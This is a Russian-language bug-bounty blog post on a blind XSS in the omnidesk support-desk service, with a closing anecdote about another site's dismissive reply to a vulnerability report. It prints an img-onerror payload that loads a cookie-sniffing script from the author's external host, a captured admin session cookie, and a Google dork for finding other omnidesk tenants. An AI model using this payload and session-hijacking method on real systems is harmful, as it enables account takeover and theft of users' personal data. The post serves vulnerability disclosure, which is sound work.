[Багхантинг] Blind XSS уязвимость на сайтах службы поддержки omnidesk

Предыстория: История эта начинается с того, что во многих пабликах, на которые я подписан, увидел посев (реклама в социальных сетях) групп с бесплатными ключами vk.com/******* и vk.com/*****. Посевы эти дорогие, производились в группах от 250 000 до 5 000 000 подписчиков, например в группе Наука и Техника. Группы предлагали каждому бесплатный ключ за подписку. Примерно через полмесяца увидел, что первая группа выросла до 109 тысяч подписчиков. Тут любому понятно, что бесплатный ключ люди не получат, ведь бесплатных ключей на 100 к человек не «напасешься». Немного осмотрев группу, я понял что «реальные» отзывы о получении бесплатных ключей подделка, ведь скриншоты из отзывов все время кидают одинаковые и ссылки на людей поддельные.



Самое интересное то, что люди на всё это до сих пор ведутся, вступают в группу в надежде на бесплатный ключ, делают репост в надежде на то, что им повезет и они выиграют дорогой игровой PC(но мы то знаем, что никто PC не получит), когда они хотят получить что-то бесплатно, ими легко манипулировать для своих целей.

Вся суть постов в группе — это реклама реферальной ссылки на сайт ***random.ru и получение выгоды.

Посмотрим на него.

Написано, что сайту более трех лет, хотя домен ***random.ru зарегистрирован 2016.10.07.

Нажимаем на «Хочу заработать», видим сообщение:

Имеешь паблик и хочешь на нем заработать? Получай ссылку и сливай трафик, получая 75% с каждого проданного ключа. Рассматриваем паблики от 5000 подписчиков.

Математика: Допустим, из 100 000 подписчиков 10% купили ключ за 100 рублей, то создатели паблика получат: 10 000*100=1 000 000 — 250 000 (25%) = 750 тысяч рублей. Неплохой заработок, наверное, они хорошо заплатят за найденную на их сервисе уязвимость.

Для сайтов *****-keys.ru и ***random.ru служба поддержки общая. Тестируем службу поддержки по url http://support.gamedelivery.info/ . Есть функционал личного кабинета, там уязвимостей не обнаружено, в поиске по тикетам тоже. Надежда только на отправку запроса в спп.

Тестируем на слепую xss-уязвимость — отправляем админу обращение с именем и телом:

Мы отправили админу подгрузку js с нашим сниффером и редирект на наш сайт. Смотрим логи:

**3.9*.56.123 — — [18/Feb/2017:01:14:10 +0300] «GET /gamedelivery HTTP/1.1» 200 391686 «-» «Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.2 Safari/537.36»

Логи на сниффер не пришли, значит в поддержке пользователей стоит фильтр на script. НО

Пытаемся подгрузить наш скрипт сниффера другим образом: как onerror в img:

var scriрt =document.сreatеElеment(‘script’);script.src =’//securityz.net/test_for_habr.js’; documеnt.body.appendChild(script);
Ждем, пока админ зайдет в тикет с js-скриптом и отдаст нам все свои cookies, скриншот страницы и весь html-код страницы.

Скрипт выполнился на /staff/cases/list/filter/open, cookies мне пришли.

PHPSESSID=4182ssjqfae0fl73f7lqkgdcb8; ajs_anonymous_id=%22c8582a35-f81b-43bd-8223-e0c7c43bc53a%22; _hjIncludedInSample=1; _cioid=client-2990; _cio=54bdeef1-058c-8f11-47fe-26d4f538fcf7; ajs_user_id=null; ajs_group_id=null
И скриншот:


Я кукам не обрадовался, потому что часто сталкиваюсь с httponly, здесь может быть то же самое.

Подменяю куки и я оказываюсь в панели сотрудника.

Пытаюсь сменить пароль на аккаунте, но для этого мне нужен текущий пароль. Добавить нового сотрудника не могу, тк у этого аккаунта не достаточно прав.

Мы можем посмотреть все обращения (их всего 10 тысяч) и всех пользователей. Много пользователей в обращениях не довольны сервисом, пришёл не тот ключ, ключ уже использован, ключ не пришёл, пришла не та, игра, которую хотел (ну тут юзер сам виноват, написано же, что рандомная игра). Также можем скачать все данные одним кликом.

Пользователей всего 18 тысяч, можем скачать такую информацию: Имя пользователя, email, ссылки на его соцсети — facebook,vk,googlePlus, skype, viber. Также можем редактировать информацию о любом пользователе, управлять любым тикетом, писать на произвольные email адреса от имени support@support.gamedelivery.info (присылаем письма на все email адреса из базы фишинговые письма/ссылку на сайт конкурента/) и редактировать любую статью из базы знаний. И не просто редактировать, а можно туда еще и написать любой js скрипт, и он выполнится в любого юзера.

После того, как обнаружил уязвимость, сразу сообщил об этом в обратной связи. Пока ждал ответа, мой друг сказал мне, что эта служба поддержки — проект omnidesk.ru. Они предоставляют такие спп многим компаниям. Это значит, что таким образом с помощью слепой xss можно было бы взломать всех клиентов omnidesk. В открытом доступе их нету.

Но был бы на моем месте злоумышленник, он бы взломал сотрудника support.omnidesk.ru, слил список всех компаний, и атаковал их.

Или можно пойти другим путем. Выясняем, что http://support.gamedelivery.info/ имеет зеркало на омнидеске https://gamedelivery.omnidesk.ru/ , а это значит, что другие компании тоже!

Пользуемся гугл дорком site:*.omnidesk.ru и находим 2050 компаний! Это довольно много. Но это не все компании, их на самом деле больше, потому что не все компании используют каноническое имя *.omnidesk.ru . gamedelivery.omnidesk.ru, например, в поисковиках нету, он нигде не светится. Единственный вариант — это смотреть по подсетке ip. Если бы эта уязвимость попала в руки злоумышленников, то был бы огромный слив данных. Сайты с наибольшим alexarank(по России):

https://ponominalu.ru/ — 2113
https://e-pay.tv — 4000
http://autozs.ru/ — 4200
https://fotobiz.pro/ — 13000
https://super-ego.info/ — 14000
https://kb.onlinepbx.ru — 18000

+ Есть демо-срок использования сервиса — 14 дней, а потом нужно платить. Значит, omnidesk еще и неплохо зарабатывает.

Пришёл ответ от ***random.ru о том, что уязвимость и слив их базы данных — это не их проблема, а omnidesk. Пишем omnidesk. Руководитель сначала предлагает 1000 р( $16) за информацию об этой xss.

Пишем, что эта уязвимость критическая и просим немного увеличить сумму вознаграждения.

Ответ: Могу предложить 3000 рублей.

Платить за подобное много мы не можем. Во-первых, мы не так богаты, как вы предполагаете. Во-вторых, вы сначала сообщили об уязвимости клиенту, а только потом нам. В-третьих, данные клиента уже у вас. То есть произошло всё, чего нам бы хотелось избежать. Саму же уязвимость исправили.

Итак:

15 февраля в 14.24: Пришли логи.
15 февраля в 15.33: Пишем владельцу службы поддержки.
16 февраля в 1.13: Награда 3000 р.
17 февраля: Помогаем разработчикам с безопасностью.
20 февраля: Разработчики устраняют остальные уязвимости.

XSS на omnidesk, видео:

Сайт omnidesk очень неплохой, плохо, что они так относятся к своей безопасности. Теперь, я думаю, они поняли, что безопасность в проекте нужно ставить на первое место. Я очень надеюсь на то, что эта статья никак не повлияет на их репутацию.

Многим компаниям можно указать на «дыру» в безопасности, они поймут, что дыру нужно закрывать, а некоторым просто все равно на безопасность своего сайта, они думают «Работает, ну и пусть работает, не будем это трогать». Пример — СЕО компания из Одессы serpstat.com (alexarank 10 000 в России) , единственный способ связаться с разработчиками — это написать в чат. Вот диалог:

Я: Обнаружил XSS уязвимость, куда можно обратится?
Евгений: Уязвимость на нашем сервисе?
Я: Да, на вашем.
Евгений: Мы неуязвимы, как главный герой в Крепком орешке-3.
Я: Ещё обнаружил iDOR, могу удалить любой проект на сайте, дайте номер.
Евгений: Без проблем, 85987.
(дальше оператор будет делать вид, что я не удалил его проект:D , хотя смог удалить проект на втором тестовом аккаунте).
Я: Добрый день, обнаружил XSS уязвимость на Вашем сайте https://www.openbugbounty.org/incidents/213614/ .
Евгений:

image

Я: Вам нужна она, присылать подробности?
Евгений: Спасибо, оставьте себе.
Я: такое чувство, что вам совсем наплевать на безопасность сайта.
Евгений: Скорее, нет желания переходить по всяким ссылкам, которые Вы пишите в чате
(скорее всего, ссылка на openbugbounty испугала оператора)

Скриншот переписки:

Кстати, с этого можно сделать хороший мем:D

Вывод с этой статьи: В административной панели нужно ставить cookies на HttpOnly. serpstat.com — совсем не заботится о своей безопасности, лучше им не доверять свои данные.

Предыдущая статья: [BugBounty] Частичный обход аутентификации vk.com.

P.S: Прошу подписаться на vk и twitter(ссылки вверху), там буду выкладывать информацию о новых статьях.

Share This:

5 thoughts on “[Багхантинг] Blind XSS уязвимость на сайтах службы поддержки omnidesk”

  1. «…зайдет в тикет с js-скриптом и отдаст нам все свои cookies, скриншот страницы и весь html-код страницы»

    вопрос — а как скриншот получить страницы?

Leave a Comment

Ваш e-mail не будет опубликован. Обязательные поля помечены *